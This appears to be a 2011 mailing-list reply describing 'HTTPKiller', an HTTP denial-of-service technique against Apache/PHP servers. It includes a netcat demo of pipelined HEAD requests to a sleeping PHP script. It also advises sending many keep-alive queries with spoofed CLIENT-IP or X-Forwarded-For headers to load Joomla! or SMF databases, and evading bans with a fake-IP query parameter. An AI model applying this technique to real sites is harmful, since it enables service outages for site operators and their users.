Subject: Re: HTTPKiller - (Global HTTP DoS)

This attack amplifies the server load so you need to create a significant
load on the server.
When we send a HEAD request to the server, it processes the PHP to generate
headers.
What happens when we do 2 Requests for an apache server using pipelining?

<?php
sleep(2);
?>

linux-7nli:/home/xianur0 # netcat -vvv localhost 8080
localhost [127.0.0.1] 8080 (http-alt) open
HEAD /sleep.php HTTP/1.1
Host: localhost:8080

HEAD /sleep.php HTTP/1.1
Host: localhost:8080

[4 sec. later]
HTTP/1.1 200 OK
Date: Fri, 26 Aug 2011 03:49:50 GMT
Server: Apache/2.2.17 (Linux/SUSE)
X-Powered-By: PHP/5.3.5
Content-Type: text/html

HTTP/1.1 200 OK
Date: Fri, 26 Aug 2011 03:49:52 GMT
Server: Apache/2.2.17 (Linux/SUSE)
X-Powered-By: PHP/5.3.5

What happens here is that it creates a "waiting list", so until this is
finished processing, it will give us the answer.
If we cut the connection before the end...

What is a CLIENT-IP or X-Forwarded-For for Joomla! or SMF? a lot of SQL
queries (load).

If we send many more queries using keep-alive connections... besides the
load remains on the server until the end, it creates more threads.
This attack is not "slowloris" or "apachekiller".

Ban? Try this:
http://[domain]/[file]?{mn-fakeip}

Not very smart... but it could work xD
Or use fewer connections.
Try against a Joomla! or SMF (Not a simple html).
